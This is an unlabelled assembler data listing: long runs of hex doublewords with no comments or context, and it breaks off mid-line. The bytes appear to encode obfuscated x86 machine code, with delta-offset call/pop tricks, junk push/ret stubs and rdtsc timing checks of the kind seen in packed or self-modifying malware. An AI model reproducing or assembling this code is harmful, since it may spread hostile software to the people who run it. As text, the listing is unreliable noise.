7E4A6820h, 0F3B0DECh dd 87h, 31858900h, 96061E22h, 8E8h, 0BF274A00h, 47190CC9h dd 13E85058h, 9A000000h, 6FE1C6D5h, 0C0F8FE60h, 35633784h dd 0FF910797h, 5F5FB9ABh, 0DEB7505Bh, 8E996h, 4B7E0000h dd 2518E875h, 85891F78h, 61E2751h, 0B027B5FFh, 95FF0621h dd 61E3049h, 9E960h, 6E40000h, 0CDD2C4C4h, 0E8E7CF1Bh dd 11h, 8AE17BECh, 0DE831E44h, 202A1E4Dh, 0F1017938h, 5A59514Eh dd 0B9BD8361h, 61E0Dh, 4E840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0DC7EBAC3h dd 7EC701F7h, 0EE92747h, 6000000h, 68F9DE97h, 47F5913Dh dd 33810964h, 60505008h, 310F5250h, 5F61585Ah, 0F243489h dd 385h, 0FAB70F00h, 0B027B5FFh, 8B660621h, 4D95FFD8h dd 0F061E16h, 88Ch, 95295000h, 61E089Dh, 27B5FF5Fh, 6A0621B0h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 4CC1C356h, 0DD95FFB8h, 66061E09h, 0FCEEEF81h dd 2BD9BD83h, 0F02061Eh, 3584h, 0EE96000h, 77000000h, 8BC15997h dd 0B2B66E9Eh, 0E89B9283h, 0D58A60CEh, 22CF4EBEh, 8B616154h dd 1E0E2D85h, 0C6F88B06h, 8B0F0000h, 6, 1CC59D8Bh, 85C7061Eh dd 61E1F81h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 64C35545h dd 0BF66D88Bh, 0E9E9B515h, 6AFFFFF2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 81BDC351h dd 0B7F73E9Fh, 6AC18B91h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 2570C351h, 1BCC080h dd 1E2C859Dh, 0DD858D06h, 6A061E19h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 98FDC353h dd 45E78052h, 3830F50h, 66000000h, 489FE8Bh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 6A62CCF9h, 8DBB6600h, 0B3006AFFh, 0B2858D39h, 8B062251h dd 5C083F9h, 2890F90h, 8B000000h, 20BB50FAh, 904D3FDAh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 51C35545h dd 29437B26h, 1E1D9585h, 0D7F78106h, 6A774BAAh, 6AFA8B00h dd 95FFF500h, 61E21EDh, 8DF8BF0Fh, 2194B68Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C870B353h, 5374B201h, 9D8909FEh, 61E1B45h, 9DF7F381h dd 0D1FF4FF6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0F5C35747h, 0F2AC26B8h, 0B5017D19h, 61E1451h, 272DBD83h dd 0F01061Eh, 6585h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0A54AE936h, 398D89C4h dd 6A061E2Fh, 51BD2902h, 50061E31h, 489F4B3h, 0E5BD8B24h dd 0FF061E14h, 1E32F995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 8130D387h dd 0EFD9531h, 55E9061Eh, 0E800000Dh, 0 dd 0BCED815Dh, 6A062251h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 5BAC355h, 0F37606F6h dd 0D1E29622h, 0DFB70F51h, 59D0B5Fh, 8D061E01h, 218DFE85h dd 0F98B9006h, 13E85650h, 8D000000h, 64023A46h, 27D09B5Ah dd 6D547945h, 0A3D09778h, 0FC8A19B5h, 89905B5Bh, 1E32F185h dd 35FF6406h, 0 dd 2BA59D89h, 8964061Eh, 25h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0E4B11E02h dd 50AAC7BDh, 0FFF98B5Fh, 1E1D9185h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 85291315h dd 61E02D9h, 0B5FFFF6Ah, 61E3315h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0F4C35545h, 9AF1756Ah, 165595FFh dd 46E9061Eh, 0E9000001h, 8, 9CCEAB7Eh, 6E620A9Ch, 0B58900B0h dd 61E32D9h, 0BF6670E6h, 71E4C5C5h, 11860Fh, 0CE90000h dd 8C000000h, 59D75859h, 514DE381h, 3CF030DCh, 0A830F61h dd 0E9000001h, 14h, 0BE34C82Dh, 475B968Dh, 9E56DFFAh, 2F527473h dd 926EA2B2h, 60C8B60Fh, 2CE58D89h, 0F60061Eh, 8Ah, 0BA616100h dd 6, 2830F60h, 51000000h, 0F9858958h, 61061E21h, 0D1DBD89h dd 0C18B061Eh, 0E8C1DA8Ah, 0A2EB8004h, 0B3E2F766h, 89C82BA0h dd 1E04C18Dh, 0FD18B06h, 381h, 0FEB70F00h, 10E9h, 89506000h dd 1E30019Dh, 85895F06h, 61E0A1Dh, 0ED858B61h, 0E9061E2Bh dd 0Eh, 0BB64E988h, 6687C846h, 1CA3A928h, 0B70F2410h, 7C083DBh dd 139B529h, 0C083061Eh, 0DDBD2300h, 3B061E1Eh, 28830FD0h dd 0F000000h, 584h, 6ABEBF00h, 46E9753Ah, 0E9000000h, 13h dd 5CC1D0A5h, 32622616h, 0A7419C69h, 0D8E52ADh, 8B3363B5h dd 1E226D8Dh, 1E18306h, 1F840Fh, 0EB810000h, 530B4F0Ch dd 226DA583h, 0F9FE061Eh, 2BED9589h, 9D8B061Eh, 61E333Dh dd 0E9h, 84B58D00h, 0B70621E2h, 6A006A81h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 27E0C350h dd 38E79715h, 0BDE33156h, 0FFDEB70Fh, 1E26C195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9589FFDFh, 61E1B0Dh, 902B9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 8DBD31E5h dd 83061E1Eh, 8B60FCE1h, 1E2079BDh, 0F0816606h, 0FC6128C8h dd 0C02B3AB7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 46C35141h, 5EBC9CEEh, 17BF66A2h, 0BABFh, 33AD0000h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 6653AFC3h, 35BDF8Bh dd 1E00A99Dh, 0A59D8B06h, 0D061E0Eh, 88h, 1458EF81h, 958B4D0Dh dd 61E2375h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0E7C35343h, 0FEE2251Ah, 66091C0Ah, 8D8BD98Bh, 61E324Dh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D4C35646h dd 0DD96673Ch, 62AE2D7Dh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 9D895818h, 61E0479h, 9E8h, 0ECF0D500h, 41628F7Fh dd 6A5B0A2Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 4A3C353h, 11E9h, 0A7ABDD00h, 54DF48E7h dd 11E256BBh, 8955782h, 8B660142h, 59BD83FEh, 61E02h, 5A840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 7B1326C3h, 0B83Eh, 8D8D0000h, 61E4CB8h, 31499589h dd 0E1FF061Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 8EC35747h, 0F8B072A2h, 75EF85B2h, 5BFC57E4h, 3169BD83h dd 0F00061Eh, 43284h, 52D4BB00h, 0BD834225h, 61E3169h dd 3B840F01h, 29000004h, 1E14FD9Dh, 69BD8306h, 3061E31h dd 3F2860Fh, 0BF0F0000h, 6A60D8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 0E6A1FC3h, 3A656327h dd 68B0Fh, 9D890000h, 61E1E19h, 89D98C66h, 1E00598Dh, 4E18006h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 48C35646h dd 0C358753Bh, 0CF70F089h, 0E0BB66E2h, 68B0FFAh, 89000000h dd 1E19D1BDh, 0FC90A06h, 11884h, 9BD8B00h, 0BF061E19h dd 64288F59h, 1A11858Bh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 7C74E5C3h, 1F659589h dd 8533061Eh, 61E14BDh, 1D2D9D89h, 0BB90061Eh, 7173113Fh dd 0FFF7BB50h, 0E8900009h, 0Bh, 3D723117h, 0DD662223h dd 8B16CCCDh, 1E22D19Dh, 6A5F06h, 0E0A5EF81h, 9E680971h dd 0B380F679h, 24048182h, 7F288A61h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 1DC35242h, 0F49EA4BBh, 4195FF2Bh dd 6A061E14h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 6B0FC351h, 8589D680h, 621B027h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h dd 7EFD023Dh, 0C5E969BDh, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 571DC351h dd 136F6A36h, 8B711C12h, 1E03419Dh, 1F858B06h, 8B0621B0h dd 6840FD8h, 31000000h, 1E0CC5B5h, 1800C706h, 0F000000h dd 685h, 0CDF78100h, 8B5DD730h, 21B023B5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 1EE68748h, 8D89450Dh, 61E1689h, 2CE59529h, 858B061Eh dd 61E1CC9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 7DC35646h, 0CEA393C0h, 45023584h, 23DA8B66h, 1E31C59Dh dd 66068906h, 0AB7CE381h, 1A11858Bh, 0DE8B061Eh, 6A044689h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0A12BC357h, 2E923C71h, 8950902Ah, 0B5FF2434h dd 621B01Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0F1C35545h, 79E1E874h, 8E8E8h, 133E0000h, 643B29F3h dd 13E947BDh, 8F000000h, 3E6A6F0Bh, 9E806394h, 0F1509EF5h dd 0B74DA1EFh, 895F9003h, 1E1B358Dh, 4E806h, 3FF0000h dd 0B350001Fh, 24448B82h, 0FBB6604h, 0E9008B3Fh, 13h, 0B1E3C9Dh dd 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h, 89E04731h, 0B7042444h dd 0DB8058A9h, 27858D24h, 8B0621B0h, 1E0E05BDh, 61605006h dd 8B240489h, 1E14D9BDh, 4195FF06h, 6A061E14h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 66A8C355h, 9D8BD88Bh, 61E01FDh, 0C19D8B52h, 5F061E22h dd 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 959DC1F3h, 0AE86B06h, 77000000h, 0A6252633h dd 4C5968A5h, 3BBF66B0h, 0EF805B15h, 6985C751h, 3061E31h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 79C5C355h, 0AC1CBFD4h, 2AA19D8Bh dd 0BD83061Eh, 621B027h, 4D840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0DE2AC356h, 3EEAB696h, 0A99D0914h, 0E9061E00h, 3Bh dd 12E8h, 2785BA00h dd 0F1B61F20h, 0E19AC295h, 560F4AFBh, 60361B0Eh, 1E29958Bh dd 5B61061Eh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0A4DC352h, 0B58B6009h, 61E2FEDh dd 659D0361h, 0BF061E1Ah, 4F64E616h, 3169BD83h, 0F03061Eh dd 42485h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1C04h, 0C3514100h, 0AA913888h, 7CB41D8h, 91C38185h dd 836A8B45h, 21B027BDh, 840F0006h, 3EDh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0A6C35040h, 0C58D29FDh dd 0FF061E26h, 21B027B5h, 39BD8B06h, 0FF061E2Bh, 1E155595h dd 5E95006h, 82000000h, 4A74CB60h, 1BB58B5Fh, 6A0621B0h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 0AB11C351h, 8D89CE3Bh, 61E0EA5h, 106C7h dd 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 49008DC3h, 0F3E4F381h, 505069ABh, 66525052h dd 0F19C9BBh, 5A616031h, 66310F58h, 585ADF8Bh, 8B243489h dd 1E26999Dh, 27B5FF06h, 6A0621B0h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0F4D9C356h dd 0F85685C3h, 2B3D95FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 20D09EC3h, 8166606Eh dd 893686C6h, 1E331D95h, 0B58B6106h, 621B01Bh, 2E19D01h dd 858B061Eh, 61E2A21h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 93C35545h, 0DAA152BEh, 941BD4A5h, 0A06EBB0Eh dd 86896711h, 0C4h, 6E9h, 0F888D200h, 8B9086DAh, 1E237595h dd 0BD8B5006h, 61E1AADh, 4C2835Bh, 0AE8h, 0B1CBCB00h, 0CB86D70Fh dd 0F9C3E22h, 895FD9B7h, 1E1CA9BDh, 20508906h, 7E9h, 99EA4300h dd 0CF012FB7h, 0C4A4858Dh, 89F90621h, 0B886h, 55BD2900h dd 0B061E1Ah, 1E19D5BDh, 89006A06h, 1E04E5BDh, 27B5FF06h dd 0B70621B0h, 0F995FF8Fh, 0F9061E32h, 89F98B50h, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 1D55B2C3h, 0B415F270h, 1D099529h, 0B5FF061Eh, 621B027h dd 308D9D03h, 0C380061Eh, 4995FF3Ah, 80061E30h, 0BD83EEF7h dd 61E0DB9h, 69840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A70AC353h dd 0DF267DACh, 1D9400E2h, 0C266F381h, 50507039h, 0FFC8A52h dd 870F5131h, 0 aZxi4J db '[ZX┴4$j',0 dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 28F91EC3h, 22718589h, 9D0B061Eh, 61E2949h, 0B027B5FFh dd 6A0621h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0A9B049C3h, 30C6B1Bh, 8E9B597h, 9F000000h dd 0F9BD0E60h, 0FF667F4Dh, 1E164D95h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 94E03C7Fh, 954653Dh, 8960FF11h, 1E0299B5h, 0FE906h dd 1E770000h, 154EE36Ch, 0D839C818h, 21D6AB66h, 0B5FF6164h dd 621B027h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 33C35343h, 0A83C07BCh, 1480B9E1h, 5890FC3h, 66000000h dd 0ABD6D781h, 9DD95FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0CC4215C3h, 83F5ED3Dh dd 1E2BD9BDh, 840F0206h, 6Ch, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 1FC35646h, 0BE34C82Dh, 2D858B8Dh dd 6A061E0Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 3191C355h, 0CB5B5AA4h, 9D8BC721h dd 61E0821h, 0CE9h, 6A50D100h, 0A77C7BB9h, 8353277Eh, 0C6FDh dd 1858953h, 5F061E1Dh, 1F8185C7h, 61Eh, 8C0F0000h, 9 dd 38B0Fh, 8B660000h, 0F38AE9FEh, 0BF66FFFFh, 0BD3355D5h dd 61E18E9h, 0B509C18Bh, 61E1A15h, 19DD858Dh, 0CE8061Eh dd 31000000h, 4A6A4362h, 0B4F56CF8h, 892FA464h, 1E19098Dh dd 0F505B06h, 128Ah, 50525000h, 5A310F52h, 0F310F58h, 87h dd 89585A00h, 6A2404h, 6A04B7h, 302D9D8Bh, 858D061Eh, 62260E8h dd 0DBFDC381h, 0C08334A9h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 600BB2CEh dd 5A9722FAh, 0D1B70F60h, 1A75B58Bh, 0E961061Eh, 11h, 0AC6CC180h dd 2A994790h, 0E009A541h, 9281069Bh, 4895061h, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 89D1C8A0h, 1E0DC9BDh, 6A006A06h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 70B5C353h dd 42058EDAh, 0C58D09DCh, 6A061E13h, 0EDBD2900h, 0FF061E1Eh dd 1E21ED95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0D62B1CCCh, 874C36A1h, 0A99D03F5h dd 8D061E22h, 2194B68Dh, 0D2E38106h, 8914C267h, 1E1CD19Dh dd 6AD1FF06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 590CC350h, 80A686D8h, 0BD83DBFBh dd 61E272Dh, 75850F01h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4378C356h dd 26A8238h, 0BF50FB8Bh, 18862266h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 9349C353h, 9D89289Ah, 61E0D81h, 0FF88B66h, 0A8Eh, 5E900h dd 86880000h, 0FFE6D6D6h, 1E32F995h, 0BF0F5206h, 9D8B5FDEh dd 61E1AD1h, 0D44E9h, 0E800h, 815D0000h, 2260F2EDh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0BD015D62h, 61E170Dh, 8DDABF0Fh, 218DFE85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 541EEF28h, 6E9A8h, 8FB50000h, 0E1502E38h, 5072B390h dd 90D88B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 23C35242h, 361C89B7h, 0B882B891h, 1D09B589h, 0FF64061Eh dd 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 99A25F84h, 0B3E6D27Fh, 0DEB70FB5h dd 92EB8166h, 2589645Ch, 0 dd 81F98B66h, 0F051BEFh, 9185FF7Bh, 6A061E1Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 56F6C352h, 32DC4BF7h, 0B3D0C713h, 8C0Fh, 0FA8B0000h dd 0B5FFFF6Ah, 61E0DCDh, 0A119589h, 95FF061Eh, 61E1655h dd 0F5E9h, 0A9BD3300h, 0B0061E2Ch, 13E900h, 59B80000h dd 6AAEE5BCh, 0D6BEAFF7h, 5648683Eh, 34004281h, 0E470E676h dd 5FF3BB71h, 613C5803h, 0C4830Fh, 0B60F0000h, 75BD8BC8h dd 0BA061E29h, 6, 0BD29C18Bh, 61E0465h, 6604E8C1h, 0F766DA8Bh dd 2B8FB7E2h, 6810FC8h, 89000000h, 1E2DBD9Dh, 0E9D18B06h dd 0 dd 2DF1858Bh, 9D29061Eh, 61E0229h, 6607C083h, 834A2EBFh dd 0D03B00C0h, 19830Fh, 0B5290000h, 61E26F1h, 65E9h, 4830F00h dd 66000000h, 52D454BFh, 8B5BFB8Bh, 1E15218Dh, 6E806h dd 0A8510000h, 0CE45AABCh, 2E71BD0Bh, 835B061Eh, 840F01E1h dd 36h, 1B219D03h, 0E957061Eh, 7, 4107479Eh, 5F668698h dd 1521A583h, 66FE061Eh, 89F080BBh, 1E2DF195h, 7E906h dd 38340000h, 1779C69Dh, 0E98Ah, 0B58D0000h, 621ED76h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 25C35141h dd 0E5992836h, 8166006Ah, 0FF502FEFh, 1E26C195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6898037Fh, 0FABF0FD2h, 90EB9h, 0BF0F6000h, 0CD9D31DFh dd 61061E00h, 8BFCE183h, 1E0F25BDh, 5E8FC06h, 3F000000h dd 0DF3467FAh, 2BF99501h, 2B5B061Eh, 96CB81C0h, 2B6A055Ah dd 0BB6650D2h, 0AD5BE2A2h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0E88BC353h, 816044DEh, 47E072CBh, 61B2B159h dd 880Dh, 8E800h, 4140000h, 39386059h, 8D897D68h, 61E041Dh dd 75958B5Fh, 6A061E23h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 4C28C353h, 8BFC9FD1h dd 1E324D8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0F66F8F4h, 181h, 0D780F500h, 7595897Eh dd 50061E27h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 73206B6Fh, 52006A56h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 860F0804h dd 6, 2059589h, 0BD83061Eh, 61E0259h, 92840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 6CF9C356h, 0E9897104h, 0Eh, 86049BAh, 6F27BAA7h dd 0EAD87DD6h, 0B886C0h, 66000000h, 8D8DFA8Bh, 61E4CB8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E9C35646h dd 0FFB813FDh, 52006AE1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 65902C1h, 0FEEEB27h, 685h dd 7DB58900h, 8B061E03h, 69BD83F8h, 61E31h, 426840Fh, 0BF660000h dd 0BD83E9C3h, 61E3169h, 30840F01h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 1BD9C353h, 0EA44667Bh, 3169BD83h, 0F03061Eh, 3CC86h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 879B3FC7h, 0F91B2003h, 55006A60h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 3092F649h, 0D99D8B96h, 66061E2Fh, 9589D98Ch, 61E0231h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 1951C353h, 0CF816692h, 0C90A09E4h dd 16B840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 6E35C8C3h, 611CE263h, 68A0Fh, 0BD0B0000h dd 61E0E65h, 14F1BD89h, 858B061Eh, 61E1A11h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A3C35242h, 0D927546Bh dd 0AADF5E23h, 89D98B66h, 1E2921B5h, 38F0F06h, 0F000000h dd 8533FFB7h, 61E14BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 3DC35646h, 0BF6650F4h, 489B905h, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B5EE514Fh, 686FB986h, 0B62CB81h, 6A757Ch, 78D38166h dd 99B06858h, 7E85C47h, 6E000000h, 0CB43B9E2h, 5B53C0C9h dd 2434815Fh, 5C589A4Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0E3C35646h, 144195FFh, 8C0F061Eh, 2 dd 8D29DC8Ah, 61E31B9h, 0B0278589h, 6A0621h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0CCA67AC3h dd 69C78221h, 8589561Fh, 61E19E5h, 1AEE95Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0CA4149C3h, 1F858B5Bh, 570621B0h, 0F440BB66h, 1800C75Bh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0A4D2C353h, 66607C4Dh, 61543FBEh dd 0B023B58Bh, 6A0621h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B474BDC3h, 0E9C8E845h, 898692A4h dd 1E2F4185h, 0C9858B06h, 6A061E1Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 8B28C356h dd 8DCC32D7h, 8BFD56CCh, 660689FBh, 858BD88Bh, 61E1A11h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0ABC35747h dd 89D87023h, 1E0481BDh, 4468906h, 6A965096h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 450DC353h, 49183CD7h, 0DE996h, 35ED0000h, 91656871h dd 0F9EB58CDh, 0FF1E36B3h, 21B01FB5h, 18850F06h, 0E9000000h dd 13h, 362576E0h, 0F9E59928h, 0B34E19E5h, 94C68E1Dh, 689D1B4Bh dd 6D3CC4C3h, 4880Fh, 8A530000h, 34815BFDh, 23C73C24h dd 7585316Dh, 8D061E09h, 21B02785h, 0A19D8906h, 90061E2Ah dd 28B0Fh, 0F88B0000h, 8B666050h, 0B9061FEh, 1E21F9BDh dd 4195FF06h, 6A061E14h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0C2BDC351h, 37770932h dd 8D8932FCh, 61E2A01h, 0C7FB8B61h, 1E316985h, 306h, 258D8900h dd 83061E1Ch, 21B027BDh, 840F0006h, 31h, 20559D8Bh, 41E9061Eh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 66D3C350h, 31F139BFh, 1E32DD9Dh dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 66C35242h, 8AEB73A3h, 4C9BD89h, 0F381061Eh, 1DB4FD0Eh dd 83DF8B66h, 1E3169BDh, 850F0306h, 40Bh, 29DDBD0Bh, 0BD83061Eh dd 621B027h, 0F8840F00h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 209BC350h dd 795B2043h, 27B5FF92h, 6A0621B0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 7243C355h dd 2721AB47h, 6830F9Ch, 81000000h, 3789D6F3h, 5595FF25h dd 89061E15h, 1E07B9BDh, 1BB58B06h, 0F0621B0h, 6C7FEB7h dd 10001h, 0DBB50F9h, 89579A77h, 6A2434h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 2B9936C3h dd 17820Fh, 12E90000h, 79000000h, 0BEC9319Ch, 22EF5C48h dd 0DCFF6CFAh, 19CDD826h, 0B5FFF8E6h, 621B027h, 4899D89h dd 95FF061Eh, 61E2B3Dh, 0A99589h, 0B58B061Eh, 621B01Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 60C35747h dd 3BE6CABAh, 988467Bh, 1E165DB5h, 0DB816606h, 858BCB2Dh dd 61E2A21h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0DAC35141h, 59327264h, 17FA4F96h, 0C48689h, 8B660000h dd 75958BFBh, 0F061E23h, 8B66FFB7h, 4C283F9h, 411BD8Bh dd 5089061Eh, 0BABB6620h, 0A4858D68h, 6A0621C4h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 50C6C353h, 29DE8B89h, 1E29559Dh, 0B8868906h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0FFCAC352h, 0E6BDBDEAh, 6AF982D4h, 56006A00h dd 3E8h, 0C35E2000h, 